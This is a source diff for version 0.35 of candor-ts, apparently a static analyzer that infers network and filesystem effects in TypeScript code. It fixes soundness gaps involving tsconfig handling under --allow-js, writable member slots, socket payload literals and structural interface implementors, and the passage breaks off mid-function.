candor-ts 0.34.0 → 0.35.0

package/scan.mjs

@@ -35,7 +35,9 @@ import { unverifiedHoleRule, ruleUpgrade, canonicalDenySet, byCodePoint, claimsT
 import { printAgents, writeStdoutSync, writeSinkAtomic, resolveSinkArtifact, isCandorConfigSink } from "./contract.mjs";
 import { isTestPath, kappa, kappaKnows, nodeCoreUnreviewed, fsKind, commandHeadEffects, hostLiteral,
          tablesInSql, modelHostEffects, isModelHost, isModelSdkPackage, netClassesOf,
-         partnerFor } from "./scan-core.mjs";
+         partnerFor, CLOCK_READING_PERFORMANCE_MEMBERS, CLOCK_READING_PROCESS_MEMBERS,
+         CLOCK_READING_CONSOLE_MEMBERS, CONNECTING_WEB_CTORS,
+         WEB_WIRE_MEMBERS } from "./scan-core.mjs";
 import { emitSurface } from "./surface.mjs";
 
 const ENGINE_DIR = path.dirname(fileURLToPath(import.meta.url));
@@ -46,7 +48,7 @@ const ENGINE_DIR = path.dirname(fileURLToPath(import.meta.url));
 // literal stamped into the envelope's `spec` field, so the doc lines and the report can never drift.
 // Reused, never re-littered.
 const PKG_VERSION = JSON.parse(fs.readFileSync(path.join(ENGINE_DIR, "package.json"), "utf8")).version;
-const SPEC_VERSION = "0.34";
+const SPEC_VERSION = "0.35";
 
 // A TREE TOO DEEP TO WALK IS "COULD NOT EVALUATE" (exit 2), NEVER "FOUND A VIOLATION" (exit 1).
 //
@@ -1349,9 +1351,39 @@ function withNodeTypes(options) {
   return { ...options, types: [...new Set([...t, "node"])] };
 }
 
-function fromTsconfig(cfgPath, baseDir) {
+// R91: widen the FILE SET `--allow-js` admits from a tsconfig WITHOUT discarding the tsconfig's other
+// compiler options (`paths`, `baseUrl`, `strict`, ...) — the bug this replaces bypassed the whole config
+// the moment the flag was passed, silently losing path-alias resolution for every project that has one.
+// `admitJs` asks the TypeScript API itself to widen (rule G: ask the authority, never reimplement) rather
+// than hand-rolling a second file-discovery pass that could disagree with the program `ts.createProgram`
+// actually builds.
+function admitJsInConfig(rawConfig) {
+  const cfg = { ...rawConfig, compilerOptions: { ...(rawConfig.compilerOptions ?? {}), allowJs: true } };
+  if (cfg.include === undefined) {
+    // A `files`-only config (no `include` at all) NEVER directory-walks, `allowJs` or not — TypeScript's
+    // own "default to **/*" rule only fires when BOTH `files` and `include` are absent. This is execa's
+    // actual tsconfig at the moment `--allow-js` was introduced (`{"files": ["index.d.ts"]}`, verified
+    // against the real published tsconfig.json at that date) — the tree the flag exists to unblock, where
+    // the config names only a hand-written `.d.ts` and none of the real `.js` implementation. Recover
+    // exactly that shape, and no other.
+    if (cfg.files !== undefined) cfg.include = ["**/*"];
+  } else {
+    // An include pattern that names a TS extension explicitly (`src/**/*.ts`) does not admit `.js`
+    // regardless of `allowJs` — only an extension-LESS pattern (`src`, `src/**/*`, the common template)
+    // widens automatically once `allowJs` is true. Add each such pattern's `.js`-family sibling alongside
+    // it; this is the literal "TS-only tsconfig include" the commit that introduced `--allow-js`
+    // (b68864d) named as its target. An extension-less pattern maps to itself and contributes nothing.
+    const jsSibling = (p) => p.replace(/\.mts$/, ".mjs").replace(/\.cts$/, ".cjs")
+      .replace(/\.tsx$/, ".jsx").replace(/(?<!\.[mc])\.ts$/, ".js");
+    const extra = cfg.include.map(jsSibling).filter((p, i) => p !== cfg.include[i] && !cfg.include.includes(p));
+    if (extra.length) cfg.include = [...cfg.include, ...extra];
+  }
+  return cfg;
+}
+function fromTsconfig(cfgPath, baseDir, admitJs = false) {
   const cfg = ts.readConfigFile(cfgPath, ts.sys.readFile);
-  const parsed = ts.parseJsonConfigFileContent(cfg.config ?? {}, ts.sys, baseDir);
+  const rawConfig = admitJs ? admitJsInConfig(cfg.config ?? {}) : (cfg.config ?? {});
+  const parsed = ts.parseJsonConfigFileContent(rawConfig, ts.sys, baseDir);
   compilerOptions = withNodeTypes(parsed.options);
   let names = parsed.fileNames;
   // SOLUTION-STYLE configs (`files: [], references: [...]` — hono, most monorepo roots) list no
@@ -1363,7 +1395,8 @@ function fromTsconfig(cfgPath, baseDir) {
       const refPath = ts.resolveProjectReferencePath(ref);
       if (!fs.existsSync(refPath) || isTestPath(path.relative(baseDir, refPath))) continue;
       const sub = ts.readConfigFile(refPath, ts.sys.readFile);
-      const subParsed = ts.parseJsonConfigFileContent(sub.config ?? {}, ts.sys, path.dirname(refPath));
+      const subRawConfig = admitJs ? admitJsInConfig(sub.config ?? {}) : (sub.config ?? {});
+      const subParsed = ts.parseJsonConfigFileContent(subRawConfig, ts.sys, path.dirname(refPath));
       if (names.length === 0) compilerOptions = withNodeTypes(subParsed.options);
       names = names.concat(subParsed.fileNames);
     }
@@ -1394,7 +1427,7 @@ const admitsAsSource = (name) =>
 if (stat.isFile() && /tsconfig.*\.json$/.test(path.basename(target))) {
   rootDir = path.dirname(path.resolve(target));
   usedTsconfig = path.resolve(target);
-  fileNames = fromTsconfig(path.resolve(target), rootDir);
+  fileNames = fromTsconfig(path.resolve(target), rootDir, allowJs);
 } else if (stat.isFile()) {
   rootDir = path.dirname(path.resolve(target));
   // ⟨0.31⟩ A SINGLE-FILE TARGET IS ADMITTED BY THE SAME RULE AS A FILE INSIDE A DIRECTORY, and this
@@ -1413,9 +1446,13 @@ if (stat.isFile() && /tsconfig.*\.json$/.test(path.basename(target))) {
 } else {
   rootDir = path.resolve(target);
   const tsconfig = path.join(rootDir, "tsconfig.json");
-  if (fs.existsSync(tsconfig) && !allowJs) {
+  // R91: a tsconfig is used WHENEVER one exists, `--allow-js` or not — the flag used to take the `else`
+  // branch unconditionally, discarding `paths`/`baseUrl`/every other compiler option along with `include`.
+  // `fromTsconfig`'s own `admitJs` parameter (below) is what widens the file set now; this condition no
+  // longer decides between "read the tsconfig" and "ignore it".
+  if (fs.existsSync(tsconfig)) {
     usedTsconfig = tsconfig;
-    fileNames = fromTsconfig(tsconfig, rootDir);
+    fileNames = fromTsconfig(tsconfig, rootDir, allowJs);
   } else {
     fileNames = [];
     (function walk(d) {
@@ -2332,7 +2369,21 @@ const ALIAS_HOPS = 16;
  *
  * One rule fixes both. A binding that is assigned anywhere is one whose value this analysis does not
  * know, so it resolves to neither answer: it is reported UNKNOWN, through the same `truncated` path a
- * too-long alias chain takes. A binding that is never reassigned still resolves precisely. */
+ * too-long alias chain takes. A binding that is never reassigned still resolves precisely.
+ *
+ * ⟨R103⟩ MEMBER WRITES GO IN THE SAME SET, because they are the same question. `this.h = evil` and
+ * `C.h = evil` make `h`'s value not its initializer for exactly the reason `send = fetch` does, and
+ * `openCallSlot` below is the reader. One set, not two: this rule already had one private copy too many
+ * once (see `unaliasGlobal`'s "DEFINED ONCE, ON PURPOSE"), and a second implementation of "is this
+ * binding written anywhere" is how the next spelling gets missed.
+ *
+ * WHAT THIS DOES TO THE ALIAS UNWRAP, stated as the assumption it is rather than as a guarantee. The
+ * unwrap only ever looks up symbols of IDENTIFIER bindings, so it sees a member symbol in exactly one
+ * situation: a bare identifier and a member write denote the SAME binding — `export namespace N { export
+ * let h = fetch; } N.h = evil;` — and there the extra entry is the right answer, because `h` really was
+ * written. It cannot fire on a mere NAME collision: `let send = fetch; obj.send = x; send(url)` targets
+ * two different symbols and `send` still resolves to Net (fixture in test.mjs, and it goes red if the
+ * set is keyed on text instead of symbols). */
 const reassignedCache = new WeakMap();
 const reassignedIn = (sf) => {
   let set = reassignedCache.get(sf);
@@ -2340,7 +2391,7 @@ const reassignedIn = (sf) => {
   set = new Set();
   const walk = (n) => {
     if (ts.isBinaryExpression(n) && n.operatorToken.kind === ts.SyntaxKind.EqualsToken
-        && ts.isIdentifier(n.left)) {
+        && (ts.isIdentifier(n.left) || ts.isPropertyAccessExpression(n.left))) {
       const sym = checker.getSymbolAtLocation(n.left);
       if (sym) set.add(sym);
     }
@@ -2350,6 +2401,22 @@ const reassignedIn = (sf) => {
   reassignedCache.set(sf, set);
   return set;
 };
+// R130 — THE CLASS NAME A CONSTRUCT SIGNATURE DECLARES. Both `@types/node`'s `undici-types` and lib.dom
+// spell a constructible global as `declare (var|const) X: { prototype: X; new (…): X }`, so the resolved
+// declaration for a construction is a ConstructSignature with NO `.name`, sitting inside an ANONYMOUS type
+// literal. Every name-keyed branch in the classifier therefore sees `""` for it. The authority for the
+// identity is the binding the type literal belongs to: ConstructSignature -> TypeLiteral -> Variable-
+// Declaration. Returns "" for a `class`-declared constructor (whose parent is a ClassDeclaration) and for
+// anything else, so a caller can treat "" as "this mechanism cannot answer".
+function declaredCtorClassName(decl) {
+  const tl = decl && decl.parent;
+  const vd = tl && ts.isTypeLiteralNode(tl) ? tl.parent : null;
+  return vd && ts.isVariableDeclaration(vd) && vd.name && ts.isIdentifier(vd.name) ? vd.name.text : "";
+}
+// R130 — `super(...)`. It is a CallExpression, not a NewExpression, so `ts.isNewExpression` is false and
+// `decl` is the BASE's construct signature — the shape `declaredCtorClassName` exists to read.
+const isSuperCall = (node) =>
+  ts.isCallExpression(node) && node.expression.kind === ts.SyntaxKind.SuperKeyword;
 const unaliasGlobal = (expr) => {
   let hop = 0;
   for (; hop < ALIAS_HOPS && ts.isIdentifier(expr); hop++) {
@@ -2745,6 +2812,30 @@ function programHeadLiteral(node) {
 // options in the other overloads) — so those two members read arg0-or-arg1. Only STRING-LITERAL positions
 // are considered; returns null when the URL slot is not a static string literal — the safe direction.
 const NET_URL_ARG1_MEMBERS = new Set(["connect", "createConnection"]);
+// R130 — THE Net USE-VERBS, whose argument 0 is the PAYLOAD and never an endpoint. ⟨0.29⟩ fixed exactly
+// this class in three of the four locator surfaces — `programHeadLiteral` for `Exec`, `fsPathLiteral` for
+// `Fs`, the SQL slot for `Db` — and in `Net` it fixed only the POSITION (`fetch(runtimeUrl, "literal")`)
+// and the ONE verb whose position is neither first nor second (dgram `send`). The whole-module `net`
+// rule classifies every non-exempt member `Net`, so `write`/`end` arrive here with their payload at
+// position 0 and fell through to `litAt(0)`. MEASURED on PUBLISHED candor-ts 0.34.0, in isolation:
+//
+//     export function w(s: net.Socket) { s.write("api.example.com"); }
+//        ->  inferred ["Net"], hosts ["api.example.com"], NO `incomplete`
+//        ->  `allow Net in src api.example.com`  =>  policy ✓, exit 0
+//
+// over a socket whose destination this scan never saw. A fabricated destination masking an invisible one
+// — the dgram defect verbatim, one verb over, and it survived because `netEstablishing` (which already
+// excludes use-calls, and whose comment says so: *"NEVER use-calls (write/end/non-dgram send)"*) governs
+// only the `incomplete` branch and was never consulted by the CAPTURE branch. Two paths, one question.
+//
+// FAILURE DIRECTION: this is a list of verbs whose capture is SUPPRESSED, so a verb missing from it keeps
+// today's behaviour (still fabricates) and a verb wrongly IN it loses a host literal — which removes an
+// `allow`-list certification and can never add one. Forgetting an entry under-fixes; it cannot
+// under-report an effect, because `Net` itself is charged by κ either way and is untouched here.
+// Only verbs whose argument 0 is a STRING PAYLOAD are listed: `destroy`/`cork`/`ref` take no string and
+// cannot fabricate, so naming them would be decoration. `pipeline` is deliberately ABSENT — undici's
+// `pipeline(url, opts, handler)` really does put the URL first.
+const NET_USE_VERBS = new Set(["write", "end", "send", "emit", "push", "unshift"]);
 // ⟨0.29⟩ dgram's `send` puts the DESTINATION ADDRESS at position 2 or 4, and position 0 is the MESSAGE.
 // Falling through to `litAt(0)` read the payload as the endpoint: MEASURED,
 // `sock.send("telemetry.example", 0, 17, 53, dst)` published `hosts: ["telemetry.example"]` with NO
@@ -2916,6 +3007,9 @@ function urlArgLiteral(node, member, mod) {
     const i = dgramSendAddressIndex(args);
     return i < 0 ? null : litAt(i);
   }
+  // R130 — a USE-VERB names no endpoint (NET_USE_VERBS). Asked AFTER dgram's `send`, which is the one
+  // spelling of `send` that does carry a destination, so that rule keeps its own answer.
+  if (member && NET_USE_VERBS.has(member)) return null;
   return litAt(0);
 }
 // Is arg0 a RUNTIME STRING expression whose host can't be known statically — a template, a string
@@ -3803,6 +3897,115 @@ function resolveFnRefUnit(refNode, depth = 0) {
   return null;
 }
 
+/** ⟨R103⟩ A CALL THROUGH A WRITABLE SLOT IS NOT A CALL TO THAT SLOT'S INITIALIZER.
+ *
+ * `class Sink { handler = pureDefault; fire() { return this.handler(); } }` — the checker types
+ * `handler` as `typeof pureDefault`, so `getResolvedSignature` hands `visitCalls` the FunctionDeclaration
+ * and the call edges to it. MEASURED on published 0.34.0 (SOUNDNESS R103): the whole report was
+ * `functions: []`, and `deny Fs`, `deny Unknown`, `pure`, `deny Unknown src.lib.Sink.fire` and
+ * `pure src.lib.Sink.fire` ALL exited 0 while a consumer doing `s.handler = () => fs.writeFileSync(…);
+ * s.fire()` really did write the file (executed, not reasoned). The mirror direction was live too:
+ * `private h = fsThing; constructor(){ this.h = () => "x"; } fire(){ return this.h(); }` charged the
+ * caller Fs off a slot that by then held a pure arrow — a POSITIVE WRONG claim, not just silence.
+ *
+ * NEITHER is a new question. `reassignedIn` above already states the rule, one function away, for the
+ * identifier spelling: "ASSIGNED SOMEWHERE ⇒ its value is not its initializer. Neither answer is
+ * available, so say so." This routes the member spelling onto that same rule and adds the one thing a
+ * member has that a local does not: a slot can be written by code this scan never sees.
+ *
+ * A METHOD IS NOT A SLOT, and that is the line. `fire(){…}` declares flesh; `handler = …` declares a
+ * storage location that happens to be seeded with flesh. `Sink.prototype.fire = evil` is also legal JS,
+ * but treating every method call as Unknown answers nothing about any program; treating a member whose
+ * declaration is a *slot* as Unknown is the ⟨0.19⟩ callback posture this engine already takes for
+ * `handler: () => string = pureDefault` — which, MEASURED at HEAD, correctly yields
+ * `Unknown[callback:…]`. The only thing separating the two spellings today is whether the author wrote a
+ * type annotation. That is not a fact about who can write the slot.
+ *
+ * WHAT COUNTS AS CLOSED — one exemption, and it is measured, not stylistic:
+ *   · `private` / `#` AND never written in its own file ⇒ CLOSED, resolves precisely as before. A
+ *     private member can only be written from inside its own class body, so its own source file is a
+ *     complete view of the writes — the same locality `reassignedIn` already relies on.
+ *   · everything else ⇒ OPEN. `public`, `protected` (a subclass outside this scan writes it), `static`,
+ *     and — deliberately — `readonly`.
+ *
+ * `readonly` IS NOT CLOSED, and this was measured rather than argued (tsc 6.0.3, exit 0, executed):
+ * readonly-ness is not part of property assignability, so `const w: { handler: () => string } = r;
+ * w.handler = evil;` compiles with NO cast and NO `any`, and `r.fire()` then returns the attacker's
+ * value. The same widening against a `private` member is a hard error (TS2322). So the type system
+ * enforces `private` and does not enforce `readonly`; only the enforced one may narrow a sound
+ * over-approximation (denylist-over-allowlist).
+ *
+ * THE `private` EXEMPTION IS AN ASSUMPTION, NOT A GUARANTEE, and is worded that way on purpose: `private`
+ * is erased at emit, so a JavaScript consumer, `(s as any).h = …`, or `Object.defineProperty` writes it
+ * regardless. The exemption says candor models the DECLARED interface. It is kept because dropping it
+ * costs the precision this engine's `private envField = () => process.env.HOME` control depends on, and
+ * because a cast is a deliberate act of defeating the declaration — not because the slot is unwritable.
+ *
+ * Returns null for a closed slot (caller resolves exactly as before), else a short callee text for the
+ * `callback:` reason. */
+// THE HIT COUNTER IS PART OF THE FIX, not scaffolding. An A/B that comes back byte-identical says
+// nothing until you can show the corpus REACHED the changed branch (AGENT-CORPUS-BRIEF §E1 — four rows
+// in one day reported a clean zero-diff over corpora that contained none of the shape). `CANDOR_R103_HITS=1`
+// prints one line per slot kind to stderr, so the next person measuring this does not have to re-add it.
+const R103_HITS = process.env.CANDOR_R103_HITS ? new Map() : null;
+const r103Hit = (k) => { if (R103_HITS) R103_HITS.set(k, (R103_HITS.get(k) ?? 0) + 1); };
+if (R103_HITS) process.on("exit", () => {
+  const rows = [...R103_HITS].sort();
+  process.stderr.write(`R103-HITS total=${rows.reduce((a, [, n]) => a + n, 0)}`
+    + rows.map(([k, n]) => ` ${k}=${n}`).join("") + "\n");
+});
+function openCallSlot(node) {
+  if (!ts.isCallExpression(node)) return null;             // `new X()` constructs a class, not a slot
+  let callee = node.expression;
+  while (ts.isParenthesizedExpression(callee)) callee = callee.expression;
+  // ELEMENT ACCESS IS THE SAME SLOT BY ANOTHER SPELLING, and it is here because the first draft of this
+  // comment asserted the opposite — "an element access already reaches the dynamic-key/`callback:` arms"
+  // — and that was FALSE when measured: `this["handler"]()` and `this[k]()` (k narrowed to the literal
+  // key) both read `["Fs"]` with no Unknown, through the identical open slot. An assertion written by the
+  // commit that needs it to be true is the most expensive kind, so it was checked instead of believed.
+  if (!ts.isIdentifier(callee) && !ts.isPropertyAccessExpression(callee)
+      && !ts.isElementAccessExpression(callee)) return null;
+  // The SLOT's own symbol — deliberately NOT `realDecl`, which follows aliases through to the target and
+  // is exactly the hop that loses the question. `getSymbolAtLocation` returns undefined for an element
+  // access (MEASURED, which is why the first attempt at the branch above silently did nothing), so the
+  // member is looked up on the RECEIVER's type by the key's own string-literal TYPE — that covers both
+  // `this["handler"]` and `this[k]` where `k: "handler"`, and yields nothing for a genuinely dynamic key,
+  // which is right: that call is already `Unknown` through the dynamic-key arm.
+  const sym = ts.isElementAccessExpression(callee)
+    ? (() => {
+        const kt = callee.argumentExpression && checker.getTypeAtLocation(callee.argumentExpression);
+        const key = kt && kt.isStringLiteral?.() ? kt.value : null;
+        const rt = checker.getTypeAtLocation(callee.expression);
+        return key && rt ? checker.getPropertyOfType(rt, key) : undefined;
+      })()
+    : checker.getSymbolAtLocation(callee);
+  const d = sym?.valueDeclaration ?? sym?.declarations?.[0];
+  if (!d) return null;
+  // THE JS/CommonJS SPELLING OF THE SAME SLOT, and it is not a guess about JavaScript — both forms were
+  // EXECUTED against a real `require()` consumer: `module.exports.handler = evil; lib.fire()` returned
+  // the attacker's value, and so did `s.handler = evil2` against a constructor-assigned instance field.
+  // The checker gives these no PropertyDeclaration at all: `this.h = f` in a constructor synthesises a
+  // symbol whose valueDeclaration is the BinaryExpression, and `module.exports.h = f` / `exports.h = f`
+  // one whose only declaration is the PropertyAccessExpression. There is nothing to exempt — JavaScript
+  // has no `private` (a `#` field is a PropertyDeclaration and goes down the branch below), and the
+  // declaration IS a write, so the `reassignedIn` question is answered before it is asked.
+  if (ts.isBinaryExpression(d) || ts.isPropertyAccessExpression(d)) {
+    r103Hit("js-expando");
+    return callee.getText().replace(/\s+/g, "").slice(0, 60);
+  }
+  if (!ts.isPropertyDeclaration(d)) return null;
+  const flags = ts.getCombinedModifierFlags(d);
+  const encapsulated = !!(flags & ts.ModifierFlags.Private)
+    || (d.name && ts.isPrivateIdentifier(d.name));
+  const written = !!sym && reassignedIn(d.getSourceFile()).has(sym);
+  if (encapsulated && !written) return null;               // CLOSED — see the exemption above
+  r103Hit(encapsulated ? "private-written"
+          : (flags & ts.ModifierFlags.Static) ? "static"
+          : (flags & ts.ModifierFlags.Protected) ? "protected"
+          : (flags & ts.ModifierFlags.Readonly) ? "readonly" : "public");
+  return callee.getText().replace(/\s+/g, "").slice(0, 60);
+}
+
 // Unwrap a `<ref>.bind(…)` partial-application chain to the underlying function-reference RECEIVER.
 // `setTimeout(this.flush.bind(this), 0)` / `effFs.bind(null)` / `cb.bind(null,a).bind(null,b)` schedule the
 // BOUND function, but the argument node is a CallExpression (callee = PropertyAccessExpression `.bind`), so
@@ -3831,6 +4034,240 @@ function unwrapBind(node, depth = 0) {
   return { ref: (ts.isIdentifier(recv) || ts.isPropertyAccessExpression(recv)) ? recv : null };
 }
 
+// ⟨0.35, PART 87 fix⟩ STRUCTURAL / SYNTHESISED INTERFACE IMPLEMENTORS — the candidate-set-completion
+// half of "A NON-EMPTY CANDIDATE SET IS NOT A COMPLETE ONE" (SPEC ⟨0.35⟩). `interfaceImpls` above only
+// ever registers a NOMINAL `class X implements Y`. The dispatch site below (the interface-CHA fanout)
+// reads `interfaceImpls.get(iface)` as though it were the WHOLE candidate set: once it is non-empty it
+// requires every entry's member to resolve and, if so, calls the dispatch COMPLETE and suppresses
+// Unknown. A value actually produced by a STRUCTURAL conformer — an object literal, a class EXPRESSION,
+// a bound method reference, `Object.assign`'s result — was invisible to that registry, so adding one
+// unrelated NOMINAL implementor flipped `allResolved` true over a candidate set that was never complete.
+// MEASURED on the published 0.34.0 artifact (PART 87): the calling function VANISHED from `functions[]`
+// entirely — no effects, no Unknown, no disclosure.
+//
+// This pass registers every LOCALLY VISIBLE structural implementor into the SAME `interfaceImpls` map,
+// mixed with nominal classes. That claim needs a name for every consumer, not an assertion: the ordinary
+// interface-CHA dispatch site (`cls.members ?? cls.properties ?? []`) DOES handle a structural entry —
+// it was written that way in this same commit. Two others did not, both corrected 2026-09-01 after this
+// commit shipped and both MEASURED, not assumed clean the way this paragraph used to read:
+// `coercionChaClasses`'s consumer `localClassMember` read only `cur.members`, so a structural
+// implementor's coercion member (e.g. an object-literal `toString`) was silently invisible — see its own
+// comment for the fixture that reproduced it — and the workspace-chain union's `c.name?.text` silently
+// drops any implementor with no `.name` (every structural one), which could publish "pure across all
+// impls" when an unnamed implementor was not — see the `hadUnnamed` comment below for the fix. Detection
+// is via the CHECKER'S OWN contextual typing, not a hand-rolled shape matcher:
+// whatever a structurally-typed value flows INTO — a plain reassignment, an array-literal element, a
+// Map-literal tuple, a call argument — `checker.getContextualType` already resolves against that slot's
+// declared type, union-decomposed the same way the nominal branch decomposes a heritage clause. Two
+// shapes defeat plain contextual typing on the value itself and are climbed explicitly: `Object.assign`
+// — a well-known global whose own CALL keeps the real contextual type; its arguments read an anonymous
+// `__object`. `Object.assign`'s climb is sound because the LANGUAGE, not a type match, guarantees it: a
+// value passed to it really does end up on the object the expression evaluates to, whether it is the
+// mutated target or a source whose own enumerable properties are copied across by reference.
+//
+// A single-type-parameter `T -> T` "identity wrapper" (`function wrap<T>(x: T): T { … }`) was climbed
+// here too, originally on the theory that a signature spelling the SAME bare type-parameter name on both
+// sides PROVES the function returns its argument unchanged. It does not: TypeScript's structural type
+// system certifies that `wrap`'s return type is ASSIGNABLE to its parameter type, never that the
+// returned VALUE is the same value — a memoizing cache, a logging decorator, or a wrapper that fabricates
+// a fresh object of a compatible shape all type-check against `T -> T` while doing something else
+// entirely at runtime. MEASURED, 2026-09-01 (PART 87 hardening): a `wrap<T>(x: T): T { return makeReal()
+// as unknown as T }` that discards its argument and returns a genuinely different, effectful object
+// type-checked against this exact signature, and the SIGNATURE-ONLY climb picked the discarded PURE
+// argument as the interface's sole implementor — the calling function vanished from `functions[]`
+// entirely over code that provably writes to disk (candor-attack1 fixture).
+//
+// TIGHTENED rather than deleted: `isProvenIdentityReturn` (below `registerStructuralImpl`) additionally
+// requires the wrapper's ENTIRE body to be exactly `return x;` (or an arrow's concise `x`), with the
+// returned identifier resolved by the CHECKER to the SAME parameter symbol — a real proof read from
+// source, not a second guess wearing the first one's clothes. `return makeReal() as unknown as T` has a
+// body of one statement too, but that statement is not `return x;`, so it fails the proof and the climb
+// does not fire — the dispatch has no implementor to see and reads honest `Unknown[dispatch:…]`, exactly
+// as it did before PART 87. A genuine `return x;` wrapper still climbs and still resolves precisely; the
+// family's denylist-over-allowlist rule is satisfied because the narrowing case is now proven by the
+// actual code, exactly as `Object.assign`'s is proven by the language, never guessed from a shape.
+//
+// Every registered structural implementor's member is EITHER resolved (a real unit's effects reach the
+// dispatch — the disjunction's path (a), the candidate set is COMPLETED) or left unresolved (`nodeName`
+// has no entry for it — a `.bind()`/reference chain that cannot be pinned, a call result, a getter). The
+// SAME `allResolved` gate the nominal fanout already enforces turns an unresolved structural member into
+// a forced Unknown, disclosed rather than silent — path (b), for free, from one shared completeness
+// check. Local-only, mirroring the nominal branch's own bound: a structural value arriving from outside
+// this scan's own source tree (an argument passed by an external caller, a dependency's own callback)
+// is no more visible here than an external nominal implementor already was.
+function localInterfaceDeclsOfType(t) {
+  const out = [];
+  const consider = (ct) => {
+    const sym = ct?.getSymbol?.() ?? ct?.symbol;
+    for (const d of sym?.declarations ?? []) {
+      if (ts.isInterfaceDeclaration(d) && projectFiles.has(path.resolve(d.getSourceFile().fileName)) && !out.includes(d))
+        out.push(d);
+    }
+  };
+  if (!t) return out;
+  if (t.isUnion?.()) { for (const ct of t.types) consider(ct); } else consider(t);
+  return out;
+}
+function registerStructuralImpl(ifaceDecl, implNode, seen = new Set()) {
+  if (seen.has(ifaceDecl)) return;
+  seen.add(ifaceDecl);
+  if (!interfaceImpls.has(ifaceDecl)) interfaceImpls.set(ifaceDecl, []);
+  const arr = interfaceImpls.get(ifaceDecl);
+  if (!arr.includes(implNode)) arr.push(implNode);
+  // Climb super-interfaces too — the same reason the nominal branch does: a dispatch through `Sup`'s own
+  // signature must also see an implementor that only satisfies `Sub extends Sup` structurally.
+  for (const eh of ifaceDecl.heritageClauses ?? []) {
+    if (eh.token !== ts.SyntaxKind.ExtendsKeyword) continue;
+    for (const st of eh.types) {
+      let sym; try { sym = checker.getSymbolAtLocation(st.expression); } catch { sym = undefined; }
+      const tgt = sym && sym.flags & ts.SymbolFlags.Alias ? checker.getAliasedSymbol(sym) : sym;
+      for (const d of tgt?.declarations ?? [])
+        if (ts.isInterfaceDeclaration(d) && projectFiles.has(path.resolve(d.getSourceFile().fileName)))
+          registerStructuralImpl(d, implNode, seen);
+    }
+  }
+}
+// Is `param -> body` a PROVEN identity return — the function's ENTIRE body is exactly `return <param>;`
+// (block form) or exactly `<param>` (arrow concise-body form), with no destructuring, no default, no
+// rest, no cast, no conditional, nothing at all between the parameter and the value returned — and the
+// returned identifier resolves via the CHECKER to the SAME parameter symbol, not merely the same name (a
+// shadowing `x` in a nested scope would share the name and not the symbol). This is read from the
+// function's own source, not inferred from its declared type: a `T -> T` signature only proves the
+// return value is ASSIGNABLE to the parameter's type, never that it IS the parameter's value — see the
+// long comment above `registerStructuralImpl` for the fixture that proved the signature-only version
+// wrong. A body this narrow cannot do so: there is no statement left for it to construct a different,
+// merely type-compatible object in.
+function isProvenIdentityReturn(decl, paramIdx) {
+  const param = decl.parameters?.[paramIdx];
+  if (!param || !ts.isIdentifier(param.name) || param.initializer || param.dotDotDotToken || param.questionToken)
+    return false;
+  const sameParam = (expr) => {
+    if (!expr || !ts.isIdentifier(expr) || expr.text !== param.name.text) return false;
+    let sym; try { sym = checker.getSymbolAtLocation(expr); } catch { sym = undefined; }
+    let psym; try { psym = checker.getSymbolAtLocation(param.name); } catch { psym = undefined; }
+    return !!sym && !!psym && sym === psym;
+  };
+  const body = decl.body;
+  if (!body) return false;
+  if (ts.isBlock(body))
+    return body.statements.length === 1 && ts.isReturnStatement(body.statements[0])
+      && sameParam(body.statements[0].expression);
+  return sameParam(body); // arrow concise body: `(x) => x`
+}
+// Climb through a well-known-global `Object.assign` call, or a single-type-parameter `T -> T` wrapper
+// whose body is a PROVEN identity return (see `isProvenIdentityReturn`), to the CONTEXTUAL TYPE of the
+// position the merged/wrapped value actually lands in. Plain `getContextualType` on the argument itself
+// resolves to an anonymous inferred shape (`__object`) — MEASURED (see the probe this fix was built
+// from) — not the interface the caller is really assigning into. Bounded depth guards a pathological
+// chain of calls.
+function contextualInterfaceDeclsFor(node, depth = 0) {
+  let ct; try { ct = checker.getContextualType(node); } catch { ct = undefined; }
+  const direct = localInterfaceDeclsOfType(ct);
+  if (direct.length || depth >= 4) return direct;
+  const p = node.parent;
+  if (!p || !ts.isCallExpression(p) || !(p.arguments ?? []).includes(node)) return direct;
+  const calleeText = p.expression.getText().replace(/\s+/g, "");
+  if (calleeText === "Object.assign") return contextualInterfaceDeclsFor(p, depth + 1);
+  let sig; try { sig = checker.getResolvedSignature(p); } catch { sig = undefined; }
+  const decl = sig?.getDeclaration?.();
+  if (decl && decl.typeParameters?.length === 1) {
+    const tpName = decl.typeParameters[0].name.getText();
+    const idx = p.arguments.indexOf(node);
+    if (decl.type?.getText() === tpName && decl.parameters?.[idx]?.type?.getText() === tpName
+        && isProvenIdentityReturn(decl, idx))
+      return contextualInterfaceDeclsFor(p, depth + 1);
+  }
+  return direct;
+}
+// Mint (or ALIAS to an existing unit) every member of a structural implementor `container`
+// (ObjectLiteralExpression's `.properties` or a ClassExpression's `.members` — both walked generically,
+// same shape as the nominal branch's own `cls.members`). Position-keyed, like `decoratorArgUnit` /
+// `staticBlockUnit` above — two structural implementors in one file must not collide.
+function mintStructuralMembers(container) {
+  const sf = container.getSourceFile();
+  const mod = moduleOf(sf);
+  const members = container.properties ?? container.members ?? [];
+  for (const prop of members) {
+    if (nodeName.has(prop)) continue; // already minted/aliased (shared members across two matched interfaces)
+    const name = prop.name?.getText?.();
+    if (!name || ts.isComputedPropertyName(prop.name)) continue; // computed key — never guess
+    // Method shorthand (object literal `go(){…}` OR class-expression `go(){…}`) — a real body, own unit.
+    if (ts.isMethodDeclaration(prop) && prop.body) {
+      mintPositionalStructuralUnit(mod, sf, prop, name);
+      continue;
+    }
+    // `go: <expr>` (PropertyAssignment) / `go = <expr>` (class-expression field).
+    const init = (ts.isPropertyAssignment(prop) || ts.isPropertyDeclaration(prop)) ? prop.initializer : null;
+    if (!init) continue; // a body-less abstract/declare member — nothing to mint, nothing to alias
+    if (ts.isArrowFunction(init) || ts.isFunctionExpression(init)) {
+      mintPositionalStructuralUnit(mod, sf, prop, name);
+      continue;
+    }
+    // `go: other.method.bind(other)` / `go: other.method` — this is the SAME reflective-invoke reference
+    // shape the HOF-ref arm already resolves; reuse it rather than inventing a second unit for a function
+    // that already has one. A `.bind()` whose receiver can't be pinned, or any other expression (a call
+    // result, a conditional, an opaque holder), is left UNRESOLVED — `nodeName.has(prop)` stays false, so
+    // the dispatch site's `allResolved` gate reads this implementor as incomplete and forces Unknown: the
+    // disjunction's (b) arm, never silence.
+    const bound = unwrapBind(init);
+    const ref = bound ? bound.ref : ((ts.isIdentifier(init) || ts.isPropertyAccessExpression(init)) ? init : null);
+    if (ref) {
+      const d = realDecl(checker.getSymbolAtLocation(ref));
+      const target = (d && nodeName.get(d)) || resolveFnRefUnit(ref);
